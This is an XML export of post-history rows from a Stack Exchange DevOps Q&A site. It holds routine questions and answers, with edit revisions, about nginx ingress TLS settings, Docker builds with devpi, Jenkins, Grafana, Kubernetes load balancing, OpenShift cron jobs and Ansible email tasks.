  <row Id="43210" PostHistoryTypeId="2" PostId="13720" RevisionGUID="2ff9cd2e-36c5-48de-b4d5-e8fbbf4c4b9f" CreationDate="2021-04-14T13:34:00.853" UserId="13139" Text="The ConfigMap and Annotation configuration have different purposes.&#xD;&#xA;&#xD;&#xA;As per [nginx-configuration/configmap/#ssl-protocols][1]:&#xD;&#xA;&gt; Sets the SSL [protocols][2] to use. The default is: TLSv1.2 TLSv1.3 &#xD;&#xA;&gt; &#xD;&#xA;&gt; ngx_http_ssl_module.html#ssl_protocols  &#xD;&#xA;&gt; Context:	http, server&#xD;&#xA;&#xD;&#xA;i.e., enable the specified protocols **to your Nginx Controller**.&#xD;&#xA;&#xD;&#xA;`client --ssl-protocols-&gt; controller --&gt; backend` &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On [nginx-configuration/annotations/#backend-certificate-authentication][3], we can read:&#xD;&#xA;&gt; Enables the specified [protocols][4] for requests to a proxied HTTPS server.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ngx_http_proxy_module.html#proxy_ssl_protocols &#xD;&#xA;&gt; http, server, location&#xD;&#xA;&#xD;&#xA;i.e., enables the specified protocols for requests **to a [proxied backend][5] using HTTPS**.&#xD;&#xA;  &#xD;&#xA;`client --&gt; controller --proxy-ssl-protocols-&gt; backend` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;As you can see, to set the protocols served by your Nginx controller, you only have `http, server` contexts available (i.e., you can't set this to specific ingress objects).&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#ssl-protocols&#xD;&#xA;  [2]: http://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_protocols&#xD;&#xA;  [3]: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#backend-certificate-authentication&#xD;&#xA;  [4]: http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_ssl_protocols&#xD;&#xA;  [5]: https://docs.nginx.com/nginx/admin-guide/security-controls/securing-http-traffic-upstream/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43211" PostHistoryTypeId="2" PostId="13721" RevisionGUID="a196e51f-0592-4cf8-9457-1570563b783c" CreationDate="2021-04-14T15:00:47.270" UserId="23396" Text="So I believe I came up with a somewhat re-usable solution for this problem using [devpi][1]. It allows you to use the same Dockerfile for the testing and production image.&#xD;&#xA;&#xD;&#xA;Devpi allows me to create my own index which can shadow my production index with versions of software that haven't been officially released. &#xD;&#xA;&#xD;&#xA;Steps to make this work:&#xD;&#xA;&#xD;&#xA;**1. Base image from ARG**&#xD;&#xA;&#xD;&#xA;I first edited my Dockerfile to allow overwriting the base image used. This will allow me to create a layer in the middle that configures pip to talk to devpi:&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;# Builds image reistry.myorg.com/python-app&#xD;&#xA;ARG BASE=reistry.myorg.com/python-base:latest&#xD;&#xA;FROM $BASE&#xD;&#xA;&#xD;&#xA;COPY . /app&#xD;&#xA;&#xD;&#xA;# Implicitly gets the latest `myorg.lib1` and `myorg.lib2` from PyPI&#xD;&#xA;RUN pip install /app&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**2. Upload test versions of library**&#xD;&#xA;&#xD;&#xA;For each python change:&#xD;&#xA; - Clone the repo&#xD;&#xA; - `python -m build` the repo&#xD;&#xA; - `devpi upload` the wheels&#xD;&#xA;&#xD;&#xA;**3. Create a layer with devpi pip conf**&#xD;&#xA;&#xD;&#xA;Make a pip conf that can access your devpi instance and configure to your index name:&#xD;&#xA;&#xD;&#xA;```conf&#xD;&#xA;[global]&#xD;&#xA;index-url = http://&lt;some ip&gt;:&lt;some port&gt;/root/dev/+simple/&#xD;&#xA;trusted-host = localhost&#xD;&#xA;disable-pip-version-check = true&#xD;&#xA;&#xD;&#xA;[search]&#xD;&#xA;index = http://&lt;some ip&gt;:&lt;some port&gt;/root/dev/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And add that to your base images pip conf:&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;FROM reistry.myorg.com/python-base:latest&#xD;&#xA;&#xD;&#xA;COPY pip.conf /etc/pip.conf&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**4. Chain the images together**&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;docker build -t devpi-base -f devpi.Dockerfile .&#xD;&#xA;docker build -t reistry.myorg.com/my-app:test1 -f Dockerfile --build-arg=ARG=devpi-base .&#xD;&#xA;docker push reistry.myorg.com/my-app:test1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA;Now when pip installs all of your dependencies you can have it pick up lower level changes to python packages. This concept should be re-usable for a lot of languages I imagine!&#xD;&#xA;&#xD;&#xA;  [1]: https://pypi.org/project/devpi/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43212" PostHistoryTypeId="5" PostId="13721" RevisionGUID="7db117c9-88d7-43a2-b724-9b8820353c64" CreationDate="2021-04-14T15:10:45.443" UserId="23396" Comment="edited body" Text="So I believe I came up with a somewhat re-usable solution for this problem using [devpi][1]. It allows you to use the same Dockerfile for the testing and production image.&#xD;&#xA;&#xD;&#xA;Devpi allows me to create my own index which can shadow my production index with versions of software that haven't been officially released. &#xD;&#xA;&#xD;&#xA;Steps to make this work:&#xD;&#xA;&#xD;&#xA;**1. Base image from ARG**&#xD;&#xA;&#xD;&#xA;I first edited my Dockerfile to allow overwriting the base image used. This will allow me to create a layer in the middle that configures pip to talk to devpi:&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;# Builds image reistry.myorg.com/python-app&#xD;&#xA;ARG BASE=reistry.myorg.com/python-base:latest&#xD;&#xA;FROM $BASE&#xD;&#xA;&#xD;&#xA;COPY . /app&#xD;&#xA;&#xD;&#xA;# Implicitly gets the latest `myorg.lib1` and `myorg.lib2` from PyPI&#xD;&#xA;RUN pip install /app&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**2. Upload test versions of library**&#xD;&#xA;&#xD;&#xA;For each python change:&#xD;&#xA; - Clone the repo&#xD;&#xA; - `python -m build` the repo&#xD;&#xA; - `devpi upload` the wheels&#xD;&#xA;&#xD;&#xA;**3. Create a layer with devpi pip conf**&#xD;&#xA;&#xD;&#xA;Make a pip conf that can access your devpi instance and configure to your index name:&#xD;&#xA;&#xD;&#xA;```conf&#xD;&#xA;[global]&#xD;&#xA;index-url = http://&lt;some ip&gt;:&lt;some port&gt;/root/dev/+simple/&#xD;&#xA;trusted-host = &lt;some ip&gt;&#xD;&#xA;disable-pip-version-check = true&#xD;&#xA;&#xD;&#xA;[search]&#xD;&#xA;index = http://&lt;some ip&gt;:&lt;some port&gt;/root/dev/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And add that to your base images pip conf:&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;FROM reistry.myorg.com/python-base:latest&#xD;&#xA;&#xD;&#xA;COPY pip.conf /etc/pip.conf&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**4. Chain the images together**&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;docker build -t devpi-base -f devpi.Dockerfile .&#xD;&#xA;docker build -t my-app -f Dockerfile --build-arg=BASE=devpi-base .&#xD;&#xA;docker tag my-app reistry.myorg.com/my-app:test1&#xD;&#xA;docker push reistry.myorg.com/my-app:test1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA;Now when pip installs all of your dependencies you can have it pick up lower level changes to python packages. This concept should be re-usable for a lot of languages I imagine!&#xD;&#xA;&#xD;&#xA;  [1]: https://pypi.org/project/devpi/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43213" PostHistoryTypeId="2" PostId="13722" RevisionGUID="0d531d9f-7ee2-4120-960c-eb59362afb7a" CreationDate="2021-04-14T16:29:02.680" UserId="13082" Text="I am trying to find a way to throttle the thruput on the request of our Network folks. They want me to not exceed 5.5Mb/sec. Is there a way to do this within Jenkins. Looking at the config files under&#xD;&#xA;&#xD;&#xA;Manage Jenkins &gt; Nodes &gt; &quot;Node name&quot;&#xD;&#xA;&#xD;&#xA;I couldn't find anything that would do this.&#xD;&#xA;&#xD;&#xA;Also, googling for a solution only resulted in simultaneous build info.&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="43214" PostHistoryTypeId="1" PostId="13722" RevisionGUID="0d531d9f-7ee2-4120-960c-eb59362afb7a" CreationDate="2021-04-14T16:29:02.680" UserId="13082" Text="Limit throughput between Jenkins and Jenkins Agent" ContentLicense="CC BY-SA 4.0" />
  <row Id="43215" PostHistoryTypeId="3" PostId="13722" RevisionGUID="0d531d9f-7ee2-4120-960c-eb59362afb7a" CreationDate="2021-04-14T16:29:02.680" UserId="13082" Text="&lt;jenkins&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43216" PostHistoryTypeId="2" PostId="13723" RevisionGUID="e00db47b-f442-46c4-a685-f3a7307734f3" CreationDate="2021-04-14T18:37:45.230" UserId="26833" Text="I tried to build the Docker image using the command &quot;docker build --no-cache -t cytools .&quot;, but got the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;=&gt; ERROR [27/30] RUN tar zxvf palp-2.20.tar.gz; rm palp-2.20.tar.gz; mv   0.4s&#xD;&#xA;------&#xD;&#xA; &gt; [27/30] RUN tar zxvf palp-2.20.tar.gz; rm palp-2.20.tar.gz; mv palp-2.20 palp:&#xD;&#xA;#31 0.349 &#xD;&#xA;#31 0.349 gzip: stdin: not in gzip format&#xD;&#xA;#31 0.350 tar: Child returned status 1&#xD;&#xA;#31 0.350 tar: Error is not recoverable: exiting now&#xD;&#xA;#31 0.358 mv: cannot stat 'palp-2.20': No such file or directory&#xD;&#xA;------&#xD;&#xA;executor failed running [/bin/sh -c tar zxvf palp-2.20.tar.gz; rm palp-2.20.tar.gz; mv palp-2.20 palp]: exit code: 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Can anyone tell if this is an issue with my system, or Docker, or the software?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43217" PostHistoryTypeId="1" PostId="13723" RevisionGUID="e00db47b-f442-46c4-a685-f3a7307734f3" CreationDate="2021-04-14T18:37:45.230" UserId="26833" Text="Error while building Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="43218" PostHistoryTypeId="3" PostId="13723" RevisionGUID="e00db47b-f442-46c4-a685-f3a7307734f3" CreationDate="2021-04-14T18:37:45.230" UserId="26833" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43223" PostHistoryTypeId="50" PostId="13551" RevisionGUID="1ac720a6-0fed-4f43-af40-5f6d26a8b028" CreationDate="2021-04-15T02:59:56.720" UserId="-1" />
  <row Id="43225" PostHistoryTypeId="2" PostId="13725" RevisionGUID="3d23c89c-ccf2-4bee-afaf-54c68284ad6c" CreationDate="2021-04-16T02:13:46.183" UserId="1202" Text="hmmm, tuff one.  dont think it's possible do do this _directly_&#xD;&#xA;&#xD;&#xA;counter question, why do you wish to limit traffic ?  If you could do this, say through a network config of some kind, it owuld negatively impact build time.&#xD;&#xA;&#xD;&#xA;From experience things that have an impact on traffic between agent and sever :&#xD;&#xA;&#xD;&#xA;* Artifacts: if you are storing artifacts within your builds they will be stored on the server. So at these points in your build process you will upload them from the agent to the server and depending on artifact size it will generate traffic.&#xD;&#xA;* Sync: Depending on what source control you use (if any) and how you use it it's possible that the sync to occur on the master and then transfered over to the agent.  You can probably change this so the sync only occur on the agent which will pretty much eliminate this part of the traffic between them.&#xD;&#xA;* Logs: all logs generated on the your jobs will be transfered back to the server.  Though to max out a connection here you'dhave to generate a whole lot of it !&#xD;&#xA;&#xD;&#xA;It's posible some plugins can generate their own traffic.  Without knowing more on your tasks it's difficult to go further.&#xD;&#xA;&#xD;&#xA;As to the actual question my first reflex here would be to look for ways to achieve this through a firewall or some other network system to throttle traffic.  Some will allow to target a specific application in addition to source/target IPs in their rules.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="43226" PostHistoryTypeId="2" PostId="13726" RevisionGUID="7ef2f0c1-e7db-44d7-bf5a-acb51b36cfe4" CreationDate="2021-04-16T09:51:59.427" UserId="26604" Text="I m having a grafana instance where all the products in a namespace are listed. There are datalinks to logs and to the product configured. The context root of the product is saved as a label in the pod. How do i use the label as a variable in datalinks.&#xD;&#xA;&#xD;&#xA;I have tried setting a variable, but the variable is dependent on two other variables, and one of them is not available when variable context root is used.&#xD;&#xA;&#xD;&#xA;Variable definition :&#xD;&#xA;&#xD;&#xA;label_values(kube_pod_labels{namespace=&quot;awl-${umgebung}&quot;, label_group=&quot;awl&quot;, label_type=&quot;as&quot;,label_product=&quot;${product}&quot;}, label_context_root)&#xD;&#xA;Variable definition&#xD;&#xA;&#xD;&#xA;Then I m using the datalink, https://xyz.xom/${umgebung}/${context_root}/. The var umgebung is available as it is always selected to display the products from one particular environment. But the var $product is not selected and so $context_root doesnt know what to return. How can edit the variable context_root to use the label_product.&#xD;&#xA;&#xD;&#xA;The metrics used in the field (label_replace(sum by (label_product) (kube_pod_labels{namespace=&quot;awl-${umgebung}&quot;, label_group=&quot;awl&quot;, label_product=&quot;${product}&quot;}), &quot;toshow&quot;, &quot;    $1 - AS   &quot;, &quot;label_product&quot;, &quot;(.*)&quot;))&#xD;&#xA;&#xD;&#xA;What other possibilites exist for me to provide the product URL which is created from the context root saved in the labels of the pods" ContentLicense="CC BY-SA 4.0" />
  <row Id="43227" PostHistoryTypeId="1" PostId="13726" RevisionGUID="7ef2f0c1-e7db-44d7-bf5a-acb51b36cfe4" CreationDate="2021-04-16T09:51:59.427" UserId="26604" Text="Grafana Datalinks with labels from pods" ContentLicense="CC BY-SA 4.0" />
  <row Id="43228" PostHistoryTypeId="3" PostId="13726" RevisionGUID="7ef2f0c1-e7db-44d7-bf5a-acb51b36cfe4" CreationDate="2021-04-16T09:51:59.427" UserId="26604" Text="&lt;monitoring&gt;&lt;prometheus&gt;&lt;openshift&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43229" PostHistoryTypeId="2" PostId="13727" RevisionGUID="2d794289-3a64-45ed-a6f8-1f7efd424903" CreationDate="2021-04-16T11:35:46.950" UserId="27192" Text="https://octopus.com/docs/installation/octopus-in-container/octopus-server-container-linux&#xD;&#xA;Octopus can now be launched in a docker container in linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="43230" PostHistoryTypeId="2" PostId="13728" RevisionGUID="4249f727-bd66-43b8-ac5d-8d8811f7b9ec" CreationDate="2021-04-16T12:59:28.270" UserId="25811" Text="I'm new to devops and I'm have a hard time finding resources to help me with this question. My Goal is to have an automated CI/CD pipeline to launch my project.&#xD;&#xA;&#xD;&#xA;Basically I have a GitHub repo with a Python Web application. I've also configured a pipeline in CircleCI that runs some tests in the project. That's what I've gotten to work so far.&#xD;&#xA;&#xD;&#xA;Now, from what I've understood, this is what I would do next (This is what I'm unsure of so please correct me):&#xD;&#xA;&#xD;&#xA; - In circleCI, generate a docker image with instructions on what kind of operating system etc and commands to pull project from GitHub repo and run database migrations etc.&#xD;&#xA; - CircleCI runs terraform to launch this docker file in an EC2 Instance.&#xD;&#xA;&#xD;&#xA;So my question is basically this:&#xD;&#xA;1. Should the docker image be generated dynamically in CircleCI or static in the repo?&#xD;&#xA;2. How does my source code get to the EC2 instance. Configure a `git pull` in dockerfile?&#xD;&#xA;3. How do I tell CircleCI/Terraform how many instances I want to launch?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I know this is a question that would take too long to explain in full here. So I'm only looking to understand the basic workflow of how GitHub-&gt;CircleCI-&gt;Terraform-&gt;AWS interactive with eachother. Or any resources that explain this well." ContentLicense="CC BY-SA 4.0" />
  <row Id="43231" PostHistoryTypeId="1" PostId="13728" RevisionGUID="4249f727-bd66-43b8-ac5d-8d8811f7b9ec" CreationDate="2021-04-16T12:59:28.270" UserId="25811" Text="How CircleCI, Terraform and AWS should interact in CI/CD Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="43232" PostHistoryTypeId="3" PostId="13728" RevisionGUID="4249f727-bd66-43b8-ac5d-8d8811f7b9ec" CreationDate="2021-04-16T12:59:28.270" UserId="25811" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;amazon-ec2&gt;&lt;github&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43233" PostHistoryTypeId="2" PostId="13729" RevisionGUID="3d677083-e005-4a9f-87d5-518194ee718b" CreationDate="2021-04-16T17:40:32.520" UserId="6308" Text="Let's assume I have three node named `n1`, `n2`, `n3`. created four pods named `p1`, `p2`, `p3`, `p4`, `k8s` scheduler placed pods in nodes as follows&#xD;&#xA;&#xD;&#xA;n1 -&gt; p1&#xD;&#xA;&#xD;&#xA;n2 -&gt; p2&#xD;&#xA;&#xD;&#xA;n3 -&gt; p3, p4&#xD;&#xA;&#xD;&#xA;Now, to access these pods I have created a `nodeport` service. `Nodeport` service will open same numbered ports in each nodes. Nodes will have `iptables` configured to forward traffics from service to pods. &#xD;&#xA;&#xD;&#xA;This is scenario, how traffic will be distribued? is it like below? &#xD;&#xA;&#xD;&#xA;p1 -&gt; 33.3330%&#xD;&#xA;&#xD;&#xA;p2 -&gt; 33.3330%&#xD;&#xA;&#xD;&#xA;p3 -&gt; 16.6665%&#xD;&#xA;&#xD;&#xA;p4 -&gt; 16.6665%&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43234" PostHistoryTypeId="1" PostId="13729" RevisionGUID="3d677083-e005-4a9f-87d5-518194ee718b" CreationDate="2021-04-16T17:40:32.520" UserId="6308" Text="kubernetes nodeport service load balancing" ContentLicense="CC BY-SA 4.0" />
  <row Id="43235" PostHistoryTypeId="3" PostId="13729" RevisionGUID="3d677083-e005-4a9f-87d5-518194ee718b" CreationDate="2021-04-16T17:40:32.520" UserId="6308" Text="&lt;kubernetes&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43236" PostHistoryTypeId="5" PostId="13729" RevisionGUID="04a8052b-28f0-484b-a496-abe44125214c" CreationDate="2021-04-16T17:48:02.733" UserId="6308" Comment="added 46 characters in body" Text="Let's assume I have three node named `n1`, `n2`, `n3`. created four pods named `p1`, `p2`, `p3`, `p4`, `k8s` scheduler placed pods in nodes as follows&#xD;&#xA;&#xD;&#xA;n1 -&gt; p1&#xD;&#xA;&#xD;&#xA;n2 -&gt; p2&#xD;&#xA;&#xD;&#xA;n3 -&gt; p3, p4&#xD;&#xA;&#xD;&#xA;Now, to access these pods I have created a `nodeport` service. `Nodeport` service will open same numbered ports in each nodes. Nodes will have `iptables` configured to forward traffics from service to pods. &#xD;&#xA;&#xD;&#xA;Let's also assume that I will have a NLB configured top of it. how traffic will be distributed? is it like below? &#xD;&#xA;&#xD;&#xA;p1 -&gt; 33.3330%&#xD;&#xA;&#xD;&#xA;p2 -&gt; 33.3330%&#xD;&#xA;&#xD;&#xA;p3 -&gt; 16.6665%&#xD;&#xA;&#xD;&#xA;p4 -&gt; 16.6665%&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43237" PostHistoryTypeId="2" PostId="13730" RevisionGUID="729de280-7f5f-4b2a-a98e-66fdfeb81e3e" CreationDate="2021-04-16T17:55:47.833" UserId="6308" Text="`service` is a cluster-wide object. In each node, `kube-proxy` will create `iptable` load balancing entry with all available pod's IP based on selector for a `service`. So NLB will distributed traffic evenly among all nodes. Then each will loadbalance the traffic to all available pods using round robin algorithm. &#xD;&#xA;&#xD;&#xA;We will have those traffic distributed among all pods like below. &#xD;&#xA;&#xD;&#xA;p1 -&gt; 33.3330%&#xD;&#xA;&#xD;&#xA;p2 -&gt; 33.3330%&#xD;&#xA;&#xD;&#xA;p3 -&gt; 16.6665%&#xD;&#xA;&#xD;&#xA;p4 -&gt; 16.6665%&#xD;&#xA;&#xD;&#xA;This will deviate a little bit." ContentLicense="CC BY-SA 4.0" />
  <row Id="43242" PostHistoryTypeId="2" PostId="13732" RevisionGUID="5e7ae745-5c67-4535-875d-c9711bfdf422" CreationDate="2021-04-16T19:53:19.697" UserId="17402" Text="The doc https://docs.openshift.com/container-platform/3.9/dev_guide/cron_jobs.html provides details of creating a cron job.&#xD;&#xA;&#xD;&#xA;To start a scheduled task that executes a build every 10 mins I use the command:&#xD;&#xA;&#xD;&#xA;    oc run run-build 161/my-app --image=myimage --restart=OnFailure --schedule='*/10 * * * *' &#xD;&#xA;&#xD;&#xA;Which returns:&#xD;&#xA;&#xD;&#xA;    cronjob.batch/run-build created&#xD;&#xA;&#xD;&#xA;But the job fails to start:&#xD;&#xA;&#xD;&#xA;The log of pod displays:&#xD;&#xA;&#xD;&#xA;    Error: unknown command &quot;161/my-app&quot; for &quot;openshift-deploy&quot;&#xD;&#xA;    Run 'openshift-deploy --help' for usage.&#xD;&#xA;&#xD;&#xA;Have I configured the command ( `oc run run-build 161/my-app --image=myimage --restart=OnFailure --schedule='*/10 * * * *'` ) to start the cron job incorrectly ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43243" PostHistoryTypeId="1" PostId="13732" RevisionGUID="5e7ae745-5c67-4535-875d-c9711bfdf422" CreationDate="2021-04-16T19:53:19.697" UserId="17402" Text="Scheduling a build using Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="43244" PostHistoryTypeId="3" PostId="13732" RevisionGUID="5e7ae745-5c67-4535-875d-c9711bfdf422" CreationDate="2021-04-16T19:53:19.697" UserId="17402" Text="&lt;kubernetes&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43245" PostHistoryTypeId="6" PostId="13732" RevisionGUID="6c0fe771-c6f0-4e14-90bd-df228fd060a0" CreationDate="2021-04-17T06:43:17.100" UserId="17402" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;openshift&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43246" PostHistoryTypeId="50" PostId="12813" RevisionGUID="df97a88d-412c-4320-b8ee-cc4e30f11618" CreationDate="2021-04-17T12:57:25.697" UserId="-1" />
  <row Id="43247" PostHistoryTypeId="5" PostId="13716" RevisionGUID="49de82ed-d149-409a-b2bc-a60225d65353" CreationDate="2021-04-17T22:16:24.123" UserId="707" Comment="added 102 characters in body" Text="It's a pretty general question, I will try to answer the best I can: &#xD;&#xA;If you want to just build and run an image:&#xD;&#xA;Build the project: npx expo-cli init react_native_app --npm&#xD;&#xA;1. You need to create a [Dockerfile][1] file in your repository&#xD;&#xA;2. Docker build -t {tag_name} . (You can replace '.' eith the Dockerfile path)&#xD;&#xA;3. Docker run...&#xD;&#xA;4. If you want you can create docker compose file to better control your app.&#xD;&#xA;Reference: &#xD;&#xA;https://www.rockyourcode.com/how-to-run-react-native-expo-web-in-a-docker-container/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.rockyourcode.com/how-to-run-react-native-expo-web-in-a-docker-container/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43248" PostHistoryTypeId="2" PostId="13733" RevisionGUID="cd941f52-ec53-405e-9b0e-6154af5a3f7c" CreationDate="2021-04-18T00:58:59.023" UserId="27106" Text="I was able to contact DevOps Support and get an answer. The issue was that I could only create Portfolio Backlogs, not Requirement Backlogs. By changing the default Requirement Backlog to include my custom work item, those showed in the Sprints section." ContentLicense="CC BY-SA 4.0" />
  <row Id="43249" PostHistoryTypeId="2" PostId="13734" RevisionGUID="e10994cd-3c0b-42e3-b5a7-e49f5a138ace" CreationDate="2021-04-18T07:10:36.217" UserId="27211" Text="Hi everyone and Thank You for reading. I have  built a dashboard with Grafana. The sensor readings comes to me from a MQTT broker and are stored in Inflixdb. Now I want to add a button on the Dashboard in order to toggle an actuator (a water pump). Can you help me and suggest me how to do? I do not see any widget in Grafana to add an actuator.&#xD;&#xA;Thank you for your help. " ContentLicense="CC BY-SA 4.0" />
  <row Id="43250" PostHistoryTypeId="1" PostId="13734" RevisionGUID="e10994cd-3c0b-42e3-b5a7-e49f5a138ace" CreationDate="2021-04-18T07:10:36.217" UserId="27211" Text="Add an Actuator Button to Grafana Dashboard" ContentLicense="CC BY-SA 4.0" />
  <row Id="43251" PostHistoryTypeId="3" PostId="13734" RevisionGUID="e10994cd-3c0b-42e3-b5a7-e49f5a138ace" CreationDate="2021-04-18T07:10:36.217" UserId="27211" Text="&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43252" PostHistoryTypeId="2" PostId="13735" RevisionGUID="b01e7be6-eda7-40e0-b4f4-e3cf8b46f54d" CreationDate="2021-04-19T03:37:22.910" UserId="27226" Text="I have usually seen ,that when someone uses Maven dependencies on a company network ,then user is redirected to the JFrog Artifactory , instead of downloading dependencies from official Maven Central Repository.&#xD;&#xA;&#xD;&#xA;What's the benefits to companies/organisations using other Repositories like JFrog?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43253" PostHistoryTypeId="1" PostId="13735" RevisionGUID="b01e7be6-eda7-40e0-b4f4-e3cf8b46f54d" CreationDate="2021-04-19T03:37:22.910" UserId="27226" Text="Why do companies use JFrog Artifactory or other repositories instead of Maven central repository?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43254" PostHistoryTypeId="3" PostId="13735" RevisionGUID="b01e7be6-eda7-40e0-b4f4-e3cf8b46f54d" CreationDate="2021-04-19T03:37:22.910" UserId="27226" Text="&lt;build-pipeline&gt;&lt;builds&gt;&lt;maven&gt;&lt;artifactory&gt;&lt;dependency-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43255" PostHistoryTypeId="5" PostId="13735" RevisionGUID="7a093b0f-f08a-4145-8321-b4711dbc090e" CreationDate="2021-04-19T03:44:55.627" UserId="27226" Comment="added 23 characters in body" Text="I have usually seen that when someone uses Maven on a company network to download dependencies, then user is redirected to the JFrog Artifactory or any other, instead of downloading dependencies from official Maven Central Repository.&#xD;&#xA;&#xD;&#xA;What's the benefits to companies/organisations using other Repositories like JFrog?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43256" PostHistoryTypeId="2" PostId="13736" RevisionGUID="679a4559-050c-4eed-8b82-52874af8cb2f" CreationDate="2021-04-19T04:04:13.963" UserId="14770" Text="I have 2 Ansible jobs. both of them compare files to find their differences. one of them is for `crontab` and the other one is for `users`. they are run first of each month and send their report via Email. Email step in both playbooks are the same and only `detach` part is different. the problem is one of them sends Email and the other one no. this is the Email Step:  &#xD;&#xA;  &#xD;&#xA;       - hosts: localhost&#xD;&#xA;         remote_user: root&#xD;&#xA;         tasks:&#xD;&#xA;         - name: Send e-mail attaching files&#xD;&#xA;           mail:&#xD;&#xA;             host: &lt;host IP&gt;&#xD;&#xA;             port: &lt;port&gt;&#xD;&#xA;             username: &lt;username&gt;&#xD;&#xA;             password: &lt;password&gt;&#xD;&#xA;             subject: Ansible-Crontab&#xD;&#xA;             body: &quot;hi! here is the report of crontab diffrences on every HA machine.&quot;&#xD;&#xA;             from: &lt;Email address&gt;&#xD;&#xA;             to:&#xD;&#xA;             - &lt;first person Email address&gt;&#xD;&#xA;             - &lt;second person Email address&gt;&#xD;&#xA;             - &lt;third person Email address&gt;&#xD;&#xA;             attach:&#xD;&#xA;             - &quot;/data1/AnsibleDir/crontab_report/crontab_div.txt&quot;&#xD;&#xA;             charset: us-ascii&#xD;&#xA;             run_once: true&#xD;&#xA;&#xD;&#xA;this step is in both scripts. it works on `users` but it does not work on `crontab` which means i receive  only one Email first of each month. i checked access to each directory and it was the same. why this happen and how to solve it?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43257" PostHistoryTypeId="1" PostId="13736" RevisionGUID="679a4559-050c-4eed-8b82-52874af8cb2f" CreationDate="2021-04-19T04:04:13.963" UserId="14770" Text="Ansible does not send Email" ContentLicense="CC BY-SA 4.0" />
  <row Id="43258" PostHistoryTypeId="3" PostId="13736" RevisionGUID="679a4559-050c-4eed-8b82-52874af8cb2f" CreationDate="2021-04-19T04:04:13.963" UserId="14770" Text="&lt;ansible&gt;&lt;email&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43259" PostHistoryTypeId="34" PostId="13639" RevisionGUID="9c970c4e-1b3e-427f-ad26-2b10708c99a3" CreationDate="2021-04-19T05:27:16.477" UserId="-1" Comment="71" />
  <row Id="43260" PostHistoryTypeId="2" PostId="13737" RevisionGUID="403b5352-654c-4baf-8d2c-ce05c55ec085" CreationDate="2021-04-19T06:41:31.503" UserId="4090" Text="You can do:&#xD;&#xA;```yaml&#xD;&#xA;variables:&#xD;&#xA;  templates.ref: $[ resources.repositories['templates'].ref ]&#xD;&#xA;```&#xD;&#xA;See [Repository Details docs](https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/multi-repo-checkout?view=azure-devops#repository-details)." ContentLicense="CC BY-SA 4.0" />
